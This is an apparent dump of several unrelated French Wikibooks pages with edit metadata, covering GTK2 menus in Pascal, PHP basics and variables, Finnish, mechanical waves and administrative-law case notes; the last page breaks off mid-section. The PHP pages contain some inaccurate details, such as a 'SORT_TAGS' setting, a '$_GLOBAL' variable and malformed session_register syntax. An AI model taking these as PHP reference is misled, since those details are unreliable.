» : [[Image:Programmation GTK2 en Pascal - gtk033.png]] {{Programmation GTK2 en Pascal - Menu}} Programmation GTK2 en Pascal - GtkMenuShell 2862 14420 2005-03-11T18:17:57Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkMenuShell''' est un contrôle de base, qui n'est utile qu'au travers de ces contrôles enfants (ici <code>[[Programmation GTK2 en Pascal - GtkMenu|GtkMenu]]</code> et <code>[[Programmation GTK2 en Pascal - GtkMenuBar|GtkMenuBar]]</code>). Ce contrôle va surtout nous servir à gérer les éléments contenus dans un menu. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkMenuShell|GtkMenuShell]] ├─[[Programmation GTK2 en Pascal - GtkMenuBar|GtkMenuBar]] └─[[Programmation GTK2 en Pascal - GtkMenu|GtkMenu]] |} == Utilisation de base == === Ajout d'élément === Pour ajouter des éléments à un menu, nous avons à notre disposition les trois fonctions suivantes : procedure gtk_menu_shell_append(menu_shell : PGtkMenuShell; child : PGtkWidget); procedure gtk_menu_shell_prepend(menu_shell : PGtkMenuShell; child : PGtkWidget); procedure gtk_menu_shell_insert(menu_shell : PGtkMenuShell; child : PGtkWidget; position : gint); La première fonction ajoute un élément <code>child</code> à la fin d'un menu <code>menu_shell</code> qui peut donc être une barre de menu ou un menu, alors que la seconde l'ajoute au debut. La troisième fonction quant à elle ajoute un élement à une position donnée (paramètre <code>position</code>). {{Programmation GTK2 en Pascal - Menu}} Programmation PHP/Bases du langage 2863 30481 2006-01-27T11:16:44Z Spirit 203 1093 /* Intégration du code */ {{Programmation PHP}} == Intégration du code == Pour que PHP interprète votre code, vous devez remplir deux conditions : # Votre code doit être placé dans un fichier d'extension .php (selon la configuration du serveur cela peut varier). # Votre code doit être compris entre deux balises : <?php ... ?> ou simplement <?... ?> (il existe d'autres écritures, mais elles sont peu utilisées). Tout ce qui n'est pas compris entre ces balises n'est pas interprété par PHP : <pre> code HTML <? code PHP ?> code HTML <?php code PHP ?> code HTML <script language="Php"> Code PHP </script> </pre> Attention, l'utilisation des balises <? ?> peut poser des problèmes de compatibilité. Il faut en effet que pour cela, la fonction SORT_TAGS soit activée dans la configuration de l'environnement. Imaginez que vous changiez de serveur avec un interpréteur qui ne reconnaisse pas les balises courtes, il vous faudra alors modifier les balises de chaque fichier, travail fastidieux. Il est donc conseillé de prendre l'habitude d'utiliser les balises de la forme <?php ?> Pour regarder si votre configuration prends en compte ce type de balises, entrez le code suivant: <pre> <?php phpinfo(); ?> </pre> Il est possible de trouver des extensions de fichiers comme .phtml, .php3 ou autres. Il est cependant conseillé d'utiliser l'extension .php qui garantit son interprétation par PHP. == Les Commentaires == Les commentaires sont en réalité des portions de texte qui ne seront pas interprétées par PHP et ne seront visibles que dans le code source. Ils jouent un rôle très important dans la réalisation et la mise à jour d'un script : en effet, les commentaires rendent le code plus lisible et peuvent aider les éventuelles personnes qui souhaitent retravailler votre script. Il existe trois façons différentes d'ajouter des commentaires à son script PHP : # La méthode avec les symboles <code>//</code> pour ajouter un commentaire sur '''une ligne''' # La méthode avec le sigle <code>#</code> pour ajouter un commentaire sur '''une ligne''' également # La méthode avec les caractères <code>/* */</code> pour désigner '''un bloc''' de commentaires <pre> <?php # un commentaire PHP // encore un commentaire PHP /* et encore un autre, mais sur plusieurs lignes cette fois-ci ! */ ?> </pre> '''Atttention!''' Il est important de ne pas emboîter les commentaires. exemple à '''ne pas suivre''' : <pre> <?php /*blabla /* hihi*/ blalbal*/ ?> </pre> == Instructions == Les instructions se terminent par un point-virgule et pour la plupart sont sous la forme : <pre> nom_de_la_fonction (arg1, arg2, ...); </pre> Exemple: <pre> print ("Hello!"); </pre> ou <pre> echo ("Hello!"); </pre> Programmation PHP/Variables 2864 45541 2006-06-24T11:12:27Z 82.126.131.243 /* Variables de cookie */ {{Programmation PHP}} En PHP, les variables sont représentées par un signe dollar "$" suivi du nom de la variable. Le nom est sensible à la casse (par exemple $MaVariable est différent de $mavariable). Dans tous les cas, les variables doivent commencer par une lettre (a-z, A-Z) ou "_" suivi de n'importe quels caractères $MaVariable // Format correct $_MaVariable // Format correct $1MaVariable // Format incorrect == Exemple : == <pre> <?php // Initialisation de nos variables $Prenom = "Romuald"; $Age = "23 ans"; $Profession = "Informaticien"; // Affichage echo "Bonjour ".$Prenom.", tu as ".$Age." et ta profession est ".$Profession."."; // Ce qui affichera sur votre navigateur : Bonjour Romuald, tu as 23 ans et ta profession est Informaticien. ?> </pre> '''NotaBene''': Une variable accolée à du texte est précédée d'un '''point'''. Ce dernier sert à la [http://fr.wikipedia.org/wiki/Concat%C3%A9nation concaténation] et dans le cas présent est surtout utile pour indiquer à l'interpréteur que l'on passe du texte, puis à une variable. On lui évite ainsi un temps de réflexion qu'il aurait si l'on avait écrit : <pre> echo "Bonjour $Prenom, tu as $Age et ta profession est $Profession"; </pre> Le caractère ";" indique qu'il s'agit d'une fin de commande, sans celui-ci l'interprétateur PHP ne comprend pas quand se trouve la fin d'une instruction. Le "<?php" et "?>" indique respectivement qu'il s'agit d'un début de code en PHP et de sa fin == Types de variables== Contrairement à de nombreux langages de programmation, en PHP il ne faut pas prédéclarer une variable mais celle-ci est typée lors de son instanciation. $x=1 indique que $x est un entier $mot='test' indique que $mot est une chaîne En PHP il y a donc 3 types de variables scalaires * entiers: nombres naturels sans décimale (sans virgule) * réels: nombres décimaux (on parle généralement de type double, car il s'agit de nombre décimaux à double précision) * chaines de caractères: ensembles de caractères ===Tableaux=== En PHP les tableaux et leur contenu peuvent être des trois types de variables possibles. $tab[0] = 1; $tab[1] = 'test'; //fonctionne aussi Il en est de même pour les tableaux à deux dimensions. $tab[0][0]= 'test'; $tab[0][1]= 0.0; //réel En php il est posible d'accéder au contenu d'un tableau de différentes manières :<br> :- par l'indice :- par la clé '''Création d'un tableau par indice :''' <br> $tab = array (mixte valeur1,mixte valeur2,...,mixte valeurn);<br> '''Création d'un tableau par clé :'''<br> $tab = array (cle1=>valeur1,cle2=>valeur2,...,clen=>valeurn);<br> Il existe différentes méthodes liées aux tableaux, des méthodes de tri, de recherche, de concaténation de tableaux, des méthodes d'ajouts et de suppressions d'éléments ... ==Autres variables== '' ==='''Variables de sessions'''=== Lors de la création d'une session (session_start()), il est possible d'enregistrer des variables (par session_register('nom_variable') = $variable). On peut aussi utiliser le tableau $_SESSION pour créer et modifier une variable de session (par exemple : $_SESSION['ma_variable'] = 3; ) Il est également possible de supprimer les sessions courantes dans le code PHP en utilisant la fonction "session_destroy()". La destruction de la session en cours peut aussi se faire par le fermeture du navigateur. ===Variables de fichiers=== Lors d'un uploade de fichier, une variable est affecté aux données de ce fichier. Il s'agit de $_FILES. Elle permet de récupérer le nom du fichier, mais aussi son nom dans l'espace temporaire. Exemple: $_FILES['nom_fichier'] ===Variables d'environnement=== Accessibles par $_ENV, Cette variable est une 'superglobal', ou globale automatique. Cela signifie qu'elle est simplement disponible dans tous les contextes d'exécution (fonctions ou méthodes). ===Variables de serveurs=== $_SERVER permet d'obtenir des renseignements sous forme d'un tableau sur le serveur. ' PHP_SELF ' Le nom du fichier du script en cours d'exécution, par rapport à la racine web. Par exemple, $_SERVER['PHP_SELF'] dans le script situé à l'adresse http://www.monsite.com/test.php/foo.bar sera /test.php/foo.bar . La constante __FILE__ contient le chemin complet ainsi que le nom du fichier (i.e. inclut) courant. ' argv ' Tableau des arguments passées au script. Lorsque le script est appelé en ligne de commande, cela donne accès aux arguments, comme en langage C. Lorsque le script est appelé avec la méthode GET, ce tableau contiendra la chaîne de requête. ' argc ' Contient le nombre de paramètres de la ligne de commande passés au script (si le script fonctionne en ligne de commande). ' GATEWAY_INTERFACE ' Numéro de révision de l'interface CGI du serveur : i.e. ' CGI/1.1 '. ' SERVER_NAME ' Le nom du serveur hôte qui exécute le script suivant. Si le script est exécuté sur un hôte virtuel, ce sera la valeur définie pour cet hôte virtuel. ' SERVER_SOFTWARE ' Chaîne d'identification du serveur, qui est donnée dans les en-têtes lors de la réponse aux requêtes. ' SERVER_PROTOCOL ' Nom et révision du protocole de communication : i.e. ' HTTP/1.0 '; ' REQUEST_METHOD ' Méthode de requête utilisée pour accéder à la page; i.e. ' GET ', ' HEAD ', ' POST ', ' PUT '. ' REQUEST_TIME ' Le temps Unix depuis le début de la requête. Disponible depuis PHP 5.1.0. ' QUERY_STRING ' La chaîne de requête, si elle existe, qui est utilisée pour accéder à la page. ' DOCUMENT_ROOT ' La racine sous laquelle le script courant est exécuté, comme défini dans la configuration du serveur. ' HTTP_ACCEPT ' Contenu de l'en-tête Accept: de la requête courante, s'il y en a une. ' HTTP_ACCEPT_CHARSET ' Contenu de l'en-tête Accept-Charset: de la requête courante, s'elle existe. Par exemple : ' iso-8859-1,*,utf-8 '. ' HTTP_ACCEPT_ENCODING ' Contenu de l'en-tête Accept-Encoding: de la requête courante, si elle existe. Par exemple : ' gzip '. ' HTTP_ACCEPT_LANGUAGE ' Contenu de l'en-tête Accept-Language: de la requête courante, si elle existe. Par exemple : ' fr '. ' HTTP_CONNECTION ' Contenu de l'en-tête Connection: de la requête courante, si elle existe. Par exemple : ' Keep-Alive '. ' HTTP_HOST ' Contenu de l'en-tête Host: de la requête courante, si elle existe. ' HTTP_REFERER ' L'adresse de la page (si elle existe) qui a conduit le client à la page courante. Cette valeur est affectée par le client, et tous les clients ne le font pas. Certains navigateur permettent même de modifier la valeur de HTTP_REFERER , sous forme de fonctionnalité. En bref, ce n'est pas une valeur de confiance. ' HTTP_USER_AGENT ' Contenu de l'en-tête User_Agent: de la requête courante, si elle existe. C'est une chaîne qui décrit le client HTML utilisé pour voir la page courante. Par exemple : Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586) . Entre autres choses, vous pouvez utiliser cette valeur avec get_browser pour optimiser votre page en fonction des capacités du client. ' HTTPS ' Définissez à une valeur non-vide si le script nécessite d'utiliser le protocole HTTPS. ' REMOTE_ADDR ' L'adresse IP du client qui demande la page courante. ' REMOTE_HOST ' Le nom de l'hôte qui lit le script courant. La résolution DNS inverse est basée sur la valeur de REMOTE_ADDR . ' REMOTE_PORT ' Le port utilisé par la machine cliente pour communiquer avec le serveur web. ' SCRIPT_FILENAME ' Le chemin absolu vers le fichier contenant le script en cours d'exécution. Note ' SERVER_ADMIN ' La valeur donnée à la directive SERVER_ADMIN (pour Apache), dans le fichier de configuration. Si le script est exécuté par un hôte virtuel, ce sera la valeur définie par l'hôte virtuel. ' SERVER_PORT ' Le port de la machine serveur utilisé pour les communications. Par défaut, c'est '80'. En utilisant SSL, par exemple, il sera remplacé par le numéro de port HTTP sécurisé. ' SERVER_SIGNATURE ' Chaîne contenant le numéro de version du serveur et le nom d'hôte virtuel, qui sont ajoutés aux pages générées par le serveur, si cette option est activée. ' PATH_TRANSLATED ' Chemin dans le système de fichier (pas le document-root) jusqu'au script courant, une fois que le serveur a fait une traduction chemin virtuel -> réel. ' SCRIPT_NAME ' Contient le nom du script courant. Cela sert lorsque les pages doivent s'appeler elles-mêmes. La constante __FILE__ contient le chemin complet ainsi que le nom du fichier (i.e. inclut) courant. ' REQUEST_URI ' L'URI qui a été fourni pour accéder à cette page. Par exemple : ' /index.html '. ' PHP_AUTH_DIGEST ' Lorsque vous utilisez PHP avec Apache en tant que module faisant une identification HTTP Digest , cette variable est définie dans l'en-tête 'Authorization' envoyé par le client (que vous devez donc utiliser pour réaliser la validation appropriée). ' PHP_AUTH_USER ' Lorsque vous utilisez PHP avec Apache ou IIS (ISAPI en PHP 5) en tant que module faisant une identification HTTP, cette variable est définie à l'utilisateur fourni par l'utilisateur. ' PHP_AUTH_PW ' Lorsque vous utilisez PHP avec Apache ou IIS (ISAPI en PHP 5) en tant que module faisant une identification HTTP, cette variable est définie au mot de passe fourni par l'utilisateur. ' AUTH_TYPE ' Lorsque vous utilisez PHP avec Apache en tant que module faisant une identification HTTP, cette variable est définie au type d'identification. ===Variables de cookie=== $_COOKIE permet de gérér les cookies. ces variable sont d'une tres grandes importances mais sont limmité a 20 variable que l'on peut initialiser et utiliser ===Variables de requètes=== $_REQUEST est un tableau associatif constitué du contenu des variables $_GET, $_POST, $_COOKIE. ===Variables globales=== $_GLOBAL est une superglobale, l'enregistrement dans cette variable permet de récupérer la valeur n'importe quand. Programmation GTK2 en Pascal - GtkMenuItem 2867 14425 2005-03-15T17:48:35Z Didier 186 /* Hiérarchie */ image en n° 1 {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkMenuItem''' est l'élément, l'item de base qu'on retrouve dans un menu, mais également dans la barre de menu. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkItem|GtkItem]] └─[[Programmation GTK2 en Pascal - GtkMenuItem|GtkMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkImageMenuItem|GtkImageMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkCheckMenuItem|GtkCheckMenuItem]] ─ [[Programmation GTK2 en Pascal - GtkRadioMenuItem|GtkRadioMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkSeparatorMenuItem|GtkSeparatorMenuItem]] └─[[Programmation GTK2 en Pascal - GtkTearoffMenuItem|GtkTearoffMenuItem]] |} == Utilisation de base == === Création === Pour créer un GtkMenuItem, il existe trois fonctions différentes : function gtk_menu_item_new : PGtkWidget; function gtk_menu_item_new_with_label(_label : Pgchar) : PGtkWidget; function gtk_menu_item_new_with_mnemonic(_label : Pgchar) : PGtkWidget; La première fonction crée un item vide, la deuxième un item avec un label à l'intérieur et la troisième un item avec un label qui accepte les raccourcis clavier (le caractère est précédé par un « _ », exemple : ''_Fichier''). Après avoir créé un item de menu vide avec la première fonction, on pourra ajouter un contrôle quelconque avec la fonction <code>gtk_container_add</code>. === Ajout dans un menu === Le contrôle <code>GtkMenuItem</code> ne possède pas de fonction qui permette d'ajouter un <code>GtkMenuItem</code> dans un <code>GtkMenu</code> (ou une <code>GtkMenuBar</code>). Il faut pour cela utiliser la fonction <code>gtk_menu_shell_append</code> du contrôle <code>[[Programmation GTK2 en Pascal - GtkMenuShell|GtkMenuShell]]</code>. === Attacher un menu === Pour attacher un <code>GtkMenu</code> à un <code>GtkMenuItem</code>, il faut utiliser cette fonction : procedure gtk_menu_item_set_submenu(menu_item : PGtkMenuItem; submenu : PGtkWidget); Le premier paramètre <code>menu_item</code> correspond à l'item qui va recevoir le menu <code>submenu</code>. Une fois cette fonction utilisée, un clic de souris sur le <code>GtkMenuItem menu_item</code> ouvrira le <code>GtkMenu submenu</code>. === Intercepter un clic de souris === Afin d'agir en fonction des actions de l'utilisateur, il faut intercepter le signal <code>activate</code> qui correspond à un clic de souris. == Programme exemple == Voir l'exemple écrit pour le contrôle <code>[[Programmation GTK2 en Pascal - GtkMenu#Programme exemple|GtkMenu]]</code> qui met en œuvre des <code>GtkMenuItem</code> dans la barre de menu et dans un menu et dont certains ont un sous-menu rattaché. {{Programmation GTK2 en Pascal - Menu}} Programmation C plus plus Interfaces graphiques 2869 36798 2006-03-09T18:58:57Z Merrheim 1032 {{Programmation C++}} ==Interfaces graphiques== Il est possible en C++ de réaliser des interfaces graphiques portables c'est à dire fonctionnant à la fois sous Linux, sous Windows et sous Mac OS. On parle alors de "toolkits". Citons par exemple : [http://www.wxwidgets.org wxWidgets] [http://www.trolltech.com QT/KDE] [http://www.gtkmm.org/ gtkmm] Finnois:Introduction 2870 43283 2006-05-26T20:38:21Z 81.250.223.105 ortho La langue finnoise ('''''suomi''''') ne fait pas partie des langues indo-européennes tels que l'anglais, l'espagnol, le russe, le grec ni même le hindi ! C'est un membre de la famille finno-ougrienne, dont font partie l'estonien, le same (lapon), le carélien et le hongrois (NB : le hongrois est aussi proche du finnois que le gaélique du croate). C'est la langue maternelle de six millions de personnes. Majoritaire en Finlande dont c'est la langue officielle, on parle le finnois dans d'importantes minorités au nord de la Suède, mais aussi à Stockholm, en Russie (République de Carélie), et en Norvège (Finnmark). == Structure de la langue == La structure de la langue fonctionne sur le modèle sujet verbe objet (SVO) comme en français, mais il y a quelques bizarreries en finnois comme l'utilisation des prépositions (en finnois, ce sont en réalité des postpositions), harmonie vocalique et l'absence d'article et quelques fois de pronoms, ce qui donne un méli-mélo de consonnes et de voyelles. Par exemple la phrase “Je suis dans la voiture” devient “(Je) suis voiture|dans” = “Olen autossa” == Alphabet== Le finnois "de base" a un alphabet relativement restreint par rapport au français (21 lettres courantes). Voyelles (8): -a (le â français) -o -u (le ou français) -e (le é français) -i -ä (le a dans le mot anglais "hat") -ö (le eu français, ou le ö allemand) -y (le u français, ou le ü allemand) Consonnes (13): -occlusives p - k - t -nasales m - n -vibrante r -fricatives s - v - h -spirante j (le "jod") -latérale l Certaines règles de grammaire font apparaître d'autres consonnes : -d - g Enfin d'autres consonnes sont venues de mots d'emprunts : -b -c -f -q -š -w -x -z -ž -å == Mots internationaux== Tous sont compréhensibles par un français ou un anglais. *'''radio''' – radio *'''euro''' – euro (monnaie) *'''posti''' – poste *'''shampoo''' – shampooing *'''paperi''' – papier *'''televisio''' – télévision *'''tee''' – thé *'''baari''' – bar *'''turisti''' – touriste *'''norsu''' – éléphant *'''šekki''' – chèque == Faux amis == *dokumentti – documentaire, pas document *motoristi - motocycliste, pas motorist *viina – liquor, pas vin Image:LSF LettreA.jpg 2873 14430 2005-03-13T12:20:51Z Kowey 113 {{supprimer}} (déplacé vers commons) Ondes 2874 25992 2005-11-24T17:38:23Z Marc 66 == Ondes mécaniques == [[Catégorie:Physique]] {| style="border:1px solid #996600;" cellspacing="0" cellpadding="0" width="70%"| |+ |bgcolor="#ECE5CA"| <h4>Définition : onde mécanique</h4> |- |bgcolor="#FAF9EC"| On appelle onde mécanique le phénomène de propagation d'une perturbation dans un milieu élastique matériel, sans transport de matière mais avec transport d'énergie. |} Il existe plusieurs types d'ondes : les ondes transversales et les ondes longitudinales. {| style="border:1px solid #996600;" cellspacing="0" cellpadding="0" width="70%"| |+ |bgcolor="#ECE5CA"| <h4>Définition : onde longitudinale</h4> |- |bgcolor="#FAF9EC"| Une onde est longitudinale quand la direction de la perturbation est parallèle à la direction de propagation de l'onde. |} Exemple d'onde longitudinale : un ressort {| style="border:1px solid #996600;" cellspacing="0" cellpadding="0" width="70%"| |+ |bgcolor="#ECE5CA"| <h4>Définition : onde transversale</h4> |- |bgcolor="#FAF9EC"| Une onde est transversale quand la direction de la perturbation est perpendiculaire à la direction de propagation de l'onde. |} Exemple d'onde transversale : les vagues [[Image:Simple harmonic motion animation.gif|300px]] <br /> == Vitesse de propagation d'une onde == La vitesse de propagation d'une onde, aussi appelée ''célérité'' est égale à la distance parcourue par l'onde, divisée par le temps. <table WIDTH="70%"><tr><td style="background-color: #FFF7F7; border: solid 1px #FFBDBD; padding: 1em;" valign=top> <center><big>'''v''' = '''d''' / '''t'''</big></center></td></tr></table> Avec <big>'''v'''</big> en mètre/seconde; <big>'''d'''</big> en mètre et <big>'''t'''</big> en seconde. == Ondes périodiques == Droit administratif/La jurisprudence/Benjamin 2875 41192 2006-04-29T15:46:10Z Pseudomoi 395 {{Droit administratif/Jurisprudence/CE contentieux|19 mai 1933|17413 17520}} {{Droit administratif/Jurisprudence/GAJA|48}} Texte de l'arrêt disponible sur [http://www.legifrance.gouv.fr/WAspad/UnDocument?base=JADE&nod=JGX9X1933X05X0000017413 Légifrance] == Textes cités == * loi du 30 juin 1881 * Article 97 de la loi du 5 avril 1884 (devenu article L2212-2 du CGCT) * loi du 20 mars 1907 == Chronologie == * 24 février 1930 : le maire de Nevers interdit une conférence littéraire publique que M. Benjamin projetait de tenir dans cette ville. * Date inconnue : le syndicat d'initiative de Nevers substitue une conférence privée à la conférence publique initialement prévue. * 11 mars 1930 : le maire réitère son interdiction de la conférence privée. * 28 avril, 5 mai et 16 décembre 1930 : M. Benjamin et le président du Syndicat d'initiative défèrent ces deux décisions auprès du Conseil d'État. == Faits == [[w:René Benjamin|René Benjamin]] était un critique virulent de l'enseignement laïc. Aussi, quand il annonça son intention de tenir une conférence à Nevers, les instituteurs syndiqués du lieu tentèrent-ils d'organiser une contre-manifestation. Le maire de la ville, soucieux du maintien de l'ordre public (et peut-être, comme le second moyen du recours le laisse entendre, en raison de ses propres convictions politiques), décida d'empêcher l'affrontement des deux camps en prenant deux arrêtés successifs pour interdire la conférence, d'abord publique et ensuite privée. == Procédure == René Benjamin, assisté du président du Syndicat d'initiative de Nevers, saisit le Conseil d'État au contentieux. Celui-ci statue en première et dernière instance, simultanément sur les deux arrêtés d'interdiction du maire, et les annule tous deux sur la base du premier moyen (recours pour excès de pouvoir). Le second moyen (détournement de pouvoir) n'est pas examiné. == Analyse des motifs == Si l'autorité municipale ne disposait pas des moyens suffisants pour maintenir l'ordre public, l'interdiction préventive serait licite. Toutefois il faut pour cela que la menace d'atteinte à l'ordre pubic soit exceptionnellement grave, ou que le maire ne dispose pas des forces de police nécessaires pour permettre la tenue de la réunion tout en assurant du maintien de l'ordre. En l'espèce, une décision aussi extrême que l'entrave à la liberté de réunion (l'une des mieux garanties par la loi) ne se justifiait donc pas: une décision plus appropriée aurait été de faire garder les lieux de la réunion par les forces de police ou la garde mobile. == Point de droit == ''À compléter'' == Portée de la solution == Il incombe au maire dans l'exercice de ses pouvoirs de police, de concilier le maintien de l'ordre public avec le respect de la loi et des libertés constitutionnelles. Le juge exerce un contrôle particulièrement poussé, vérifiant non seulement l'existence d'une menace à l'ordre public, mais également l'adéquation de la mesure prise (en nature et sévérité) par rapport à la gravité de cette menace. == Culture juridique == La gravité de la menace et donc la sévérité appropriée des mesures s'apprécie en fonction de l'espèce et du climat politique du moment : voir [[Droit administratif/La jurisprudence/Dames Dol et Laurent|Dames Dol et Laurent]]. [[Catégorie:Droit administratif|Benjamin]] Droit administratif/La jurisprudence/Comment rédiger une fiche d'arrêt 2877 41203 2006-04-29T15:56:40Z Pseudomoi 395 +cat == Généralités == L'objectif d'une fiche d'arrêt est de faciliter la mémorisation d'une décision importante de la jurisprudence. * son premier devoir est donc d'être '''courte''': la rédaction doit être synthétique et aller droit au but. * ce qui est une ''décision importante'' dépend évidemment du sujet pour lequel on rédige la fiche. Dans le cadre de ce Wikilivre, seules sont concernées les décisions qui font jurisprudence sur un thème couvert dans la [[Droit administratif#Théorie|partie théorique]]. Dans un contexte professionnel, on s'intéressera évidemment aux décisions connexes au métier qu'on pratique. * la fiche de jurisprudence est au service de son auteur, étudiant ou praticien, elle n'est pas contrôlée par le corps enseignant ni le supérieur hiérarchique : elle peut donc être rédigée dans un français courant, contenir des abréviations, des remarques personnelles, ou tout ce qu'on peut trouver utile de rajouter à sa guise. Le [[#plan|plan proposé]] n'est donc ni un exercice scolaire, ni un carcan rigide façon formulaire de déclaration d'impôts. === Arrêt d'espèce ou arrêt de principe ? === La rédaction d'une fiche d'arrêt constitue un exercice de décodage (en particulier en jurisprudence française, qui affectionne un style particulièrement torturé !) et de lecture à plusieurs niveaux. Ceci parce que la Cour supérieure (en droit administratif, ce seront le Conseil d'État ou une Cour administrative d'appel) tient simultanément deux discours complémentaires : * la Cour fait tout d'abord son métier, qui est de faire justice au cas particulier qui est devant elle (le cas échéant, en inversant ou confirmant une décision antérieure). Comme c'est son devoir, elle raisonne à partir des faits et du droit (Constitution, lois, règlements et traités) pour fonder sa décision. C'est le '''cas d'espèce''', qui par la force des choses n'est pas dénué d'un certain côté terre-à-terre et anecdotique; * la Cour supérieure est également constituée de magistrats expérimentés et joue à ce titre un rôle jurisprudentiel, quasi-pédagogique, vis-à-vis des juridictions inférieures : par le raisonnement de l'arrêt, elle est en train d'expliquer aux autres cours comment juger. Il s'agit d'une pédagogie par l'exemple (ou d'un exercice corrigé, quand la Cour supérieure est en position d'appel ou de cassation par rapport à la décision précédente) : le lecteur (les autres cours, ou bien nous-mêmes juristes !) doit par lui-même déduire la règle générale de la façon dont le cas particulier est traité par la Cour supérieure. C'est la ou les '''règles de droit''', qui prennent donc le caractère de règles générales et abstraites (par exemple, le [[Droit administratif/La jurisprudence/Veuve Trompier-Gravier|principe du droit de recours juridique contre les décisions administratives]]), dont la portée déborde le cadre strict de l'instance en cours et où les détails triviaux de l'espèce n'ont pas leur place. Selon l'importance relative des deux fils de lecture, on parlera d''''arrêt d'espèce''' (le raisonnement de principe est absent, ou ne fait que reprendre des solutions juridiques déjà développées par la même cour dans des arrêts plus anciens), ou d''''arrêt de principe''' (le raisonnement est présent et introduit une innovation ou un renversement de jurisprudence). Une difficulté majeure de la lecture d'un arrêt est de savoir s'il s'agit d'un arrêt d'espèce ou de principe : la Cour ne l'indique pas clairement ! Dans notre droit où l'autorité de chose jugée n'est que relative, en effet, il n'entre pas en principe dans les attributions d'un juge de créer de la jurisprudence, ce qui fait que la ou les règles de droit vivent cachées dans le texte de l'arrêt comme des partisans dans le maquis. Comme on le verra, c'est en observant la [[#Analyse des motifs|structure logique du raisonnement]] que nous pourrons les débusquer. Cependant, quelques signes avant-coureurs permettent à l'étudiant finaud de se faire une petite idée à l'avance : * Si un manuel de cours (en particulier le présent Wikilivre) le présente comme un «arrêt fondamental», c'est qu'il contient un bon filon d'un ou plusieurs points de droit. En particulier, si on travaille à partir d'un mémento, c'est un pari raisonnable que de supposer que tous les arrêts cités sont de principe ! * ''à terminer : parler des bulletins et de l'attention de la doctrine, et de l'emploi du présent ou de l'imparfait dans la rédaction.'' == Le plan == Différents ouvrages papier ou professeurs conseillent différents plans-types de fiche, mais tous participent peu ou prou du même mouvement : de la lecture mot à mot au commentaire de texte, du cas particulier de l'espèce à la généralité de la règle de droit, de l'énoncé concret et tâtillon des faits à l'abstraction et la subtilité (voire le non-dit !) de la jurisprudence. === Référence === Pour l'instant, on se contente de lire l'en-tête de la décision. Lister les coordonnées bibliographiques de l'arrêt : le nom de la partie qui n'est pas l'État (et qui donne son nom à l'arrêt), le nom de la Cour qui l'a rendu, la date, la parution éventuelle aux revues de doctrine, l'endroit où on peut trouver une reproduction du texte de l'arrêt (par exemple sur [http://legifrance.gouv.fr/ Légifrance] ou dans un livre), éventuellement un ou plusieurs mots-clefs thématiques (« police municipale », « contrôle de tutelle »). ''mettre ici quelques conseils d'utilisation du moteur de recherche de Légifrance'' === Textes cités === C'est le moment de faire une première lecture intégrale de l'arrêt, afin de repérer les [[Wiktionary:fr:monogramme|monogrammes]] juridiques qui s'y trouvent. Nous entendons par là les noms précis des textes constitutionnels, législatifs et réglementaires (et exceptionnellement les coutumes ou principes de jurisprudence) auxquels fait référence l'arrêt, et souvent à plusieurs reprises : par exemple, « l'article 37 de la Constitution », « l'article premier de la loi du 5 juillet 1985 ». Pour éviter de perdre le fil, il faut les lire dans l'arrêt comme s'il s'agissait d'un seul mot : «l'articlepremierdelaloidu5juillet1985», ou bien «Loi A» (si on travaille sur une photocopie de l'arrêt, on peut les annoter ainsi dans la marge : «Constit A», «Loi A», «Loi B», «Décret A», «Décret B», etc). Reporter sur la fiche les différents textes cités dans l'arrêt, dans leur ordre chronologique et en faisant apparaître les éventuelles relations de [[Droit administratif/Sources#Hiérarchie des normes|hiérarchie des normes]] qui existent entre eux (par exemple, le décret d'application d'une loi). === Chronologie === Même exercice de simplification, mais cette fois avec les dates des faits, des actes de procédure et des promulguations des différents textes. Au brouillon, on pourra tracer une ligne graduée en années qui permettra de faciliter le calcul des délais de recours, de prescription, etc. === Faits === Résumer ce qui s'est passé avant que la justice ne soit saisie, dans l'ordre chronologique et uniquement les faits '''constants''', c'est-à-dire ceux qui ne sont contestés par personne. === Procédure === Rappeler, toujours par ordre chronologique, l'ensemble des événements juridiques depuis la saisie de la première instance administrative ou juridique jusqu'à la décision de l'arrêt, en donnant à chaque fois l'identité du demandeur et le sens de la décision (acceptation / refus / silence, condamnation ou non, cassation / rejet). Attention, un ou plusieurs membres de l'administration, et une ou plusieurs Cours successives peuvent avoir eu à connaître de la question ! Il faut les énumérer tous et toutes. === Analyse des motifs === À partir de ce stade de la rédaction de la fiche, la lecture «mécanique» de l'arrêt ne nous aidera plus à progresser : nous avons besoin de comprendre. C'est le moment de relire une nouvelle fois l'arrêt, en utilisant le décortiquage préalable réalisé précédemment pour en accélérer la lecture. Avec à la clef cette question : comment le juge raisonne-t'il ? L'analyse des motifs consiste à reconstituer le raisonnement de la Cour dont émane l'arrêt. Ce raisonnement part des faits, s'appuie (notamment) sur les textes et aboutit à la décision de la Cour. Mais il peut suivre des méandres et des bras morts, contenir des «mais» et des «malgré» en plus des «donc», et utiliser des arguments qui ne sont étayés que d'assez loin par les textes ! C'est le repérage de ces points d'inflexion du discours qui est essentiel pour comprendre et remplir les deux champs suivants de la fiche. On rédigera deux ou trois phrases en mettant en valeur les conjonctions logiques («mais», «donc» etc.). Il s'agit d'un effort de compréhension / traduction dans un français facile à comprendre et à mémoriser (c'est-à-dire avec des phrases de moins de trois lignes, ne commençant pas par «considérant» ou «attendu que», et faisant un usage modéré des subordonnées placées avant le verbe :-). === 